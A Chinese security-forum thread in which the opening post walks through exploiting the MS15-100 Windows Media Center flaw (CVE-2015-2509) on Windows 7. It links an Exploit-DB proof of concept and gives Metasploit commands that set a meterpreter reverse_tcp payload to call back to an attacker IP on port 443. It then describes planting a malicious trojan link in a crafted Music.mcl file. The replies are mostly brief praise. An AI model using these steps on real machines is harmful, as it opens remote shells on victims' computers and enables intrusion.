查看: 33317|回复: 1432

MS15-100 微软Media播放器漏洞利用-windows 7

[复制链接]

该用户从未签到

发表于 2015-12-29 23:27:47 | 显示全部楼层 |阅读模式
本帖最后由 miko 于 2015-12-29 23:46 编辑

Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
POC:  https://www.exploit-db.com/exploits/38151/
------------------------------------------------------------------------
# Title: MS15-100 Windows Media Center Command Execution
# Date : 11/09/2015
# Author: R-73eN
# Software: Windows Media Center
# Tested : Windows 7 Ultimate
# CVE : 2015-2509
-----------------------------------------------------------------------------
POC:  https://www.exploit-db.com/exploits/38151/
下载利用文件py生成Music.mcl
terminal:Python 38151.py
QQ截图20151229231834.png

use exploit/windows/fileformat/ms15_100_mclexe

exploit( ms15_100_mclexe )>set payload windows/meterpreter/reverse_tcp

exploit( ms15_100_mclexe )>set lhost 192.168.1.13(攻击者IP)

exploit( ms15_100_mclexe )>set lport 443

exploit( ms15_100_mclexe )>exploit
QQ截图20151229162145.png
QQ截图20151229162113.png

编程Music.mcl文件,把恶意木马链接放进去,保存!成功!
QQ截图20151229162013.png
QQ截图20151229162039.png
回复

使用道具 举报

  • TA的每日心情
    奋斗
    2017-5-31 10:36
  • 签到天数: 176 天

    [LV.7]常住居民III

    发表于 2015-12-30 04:55:44 来自手机 | 显示全部楼层
    6666#####看了就看了!!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 05:59:09 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2015-12-30 08:33:22 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 11:46:18 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 13:06:58 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-12-20 19:06
  • 签到天数: 554 天

    [LV.9]以坛为家II

    发表于 2015-12-30 13:24:06 | 显示全部楼层
    ettercap直接攻击就好了呗~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 17:34:45 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 20:22:49 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-5-30 23:04
  • 签到天数: 90 天

    [LV.6]常住居民II

    发表于 2015-12-30 22:07:08 | 显示全部楼层
    看不怎么懂
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-16 05:18 , Processed in 0.035015 second(s), 18 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部